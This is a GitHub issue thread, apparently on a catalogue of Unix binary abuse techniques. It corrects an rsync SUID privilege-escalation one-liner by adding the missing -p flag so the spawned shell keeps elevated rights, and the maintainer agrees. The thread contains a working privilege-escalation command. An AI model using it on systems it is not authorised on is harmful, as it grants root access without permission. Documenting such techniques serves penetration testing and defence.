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The SUID authorization command of the rsync command is incorrect; Missing - p parameter #388

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Jpkie opened this issue May 9, 2023 · 5 comments

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@Jpkie
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Jpkie commented May 9, 2023

Original command:
rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

In "sh 1>&2 0>&2", the - p parameter inheritance permission is missing after the command sh; Causing the failure of power raising;

Modified command:
rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null

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@cyrus-and
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Good catch! Feel free to file a PR if you want.

@Jpkie Jpkie closed this as completed May 15, 2023
@cyrus-and
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@Jpkie why close?

@Jpkie
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Jpkie commented May 18, 2023

@Jpkie why close?

I thought that the author has been revised and I don't know what do you mean by said PR because I'm not often use a lot, don't know much about some terms. I'm sorry. I need to create an issue again? I am using translation software to communicate.

@cyrus-and
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Sorry for the confusion, I meant that you're correct and if you want you can create a pull request if you like, so that you can contribute yourself to this project. But don't worry I can do that for you. :)

@Jpkie
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Jpkie commented May 23, 2023

Sorry for the confusion, I meant that you're correct and if you want you can create a pull request if you like, so that you can contribute yourself to this project. But don't worry I can do that for you. :)

Thank you. If you could do this!:); )

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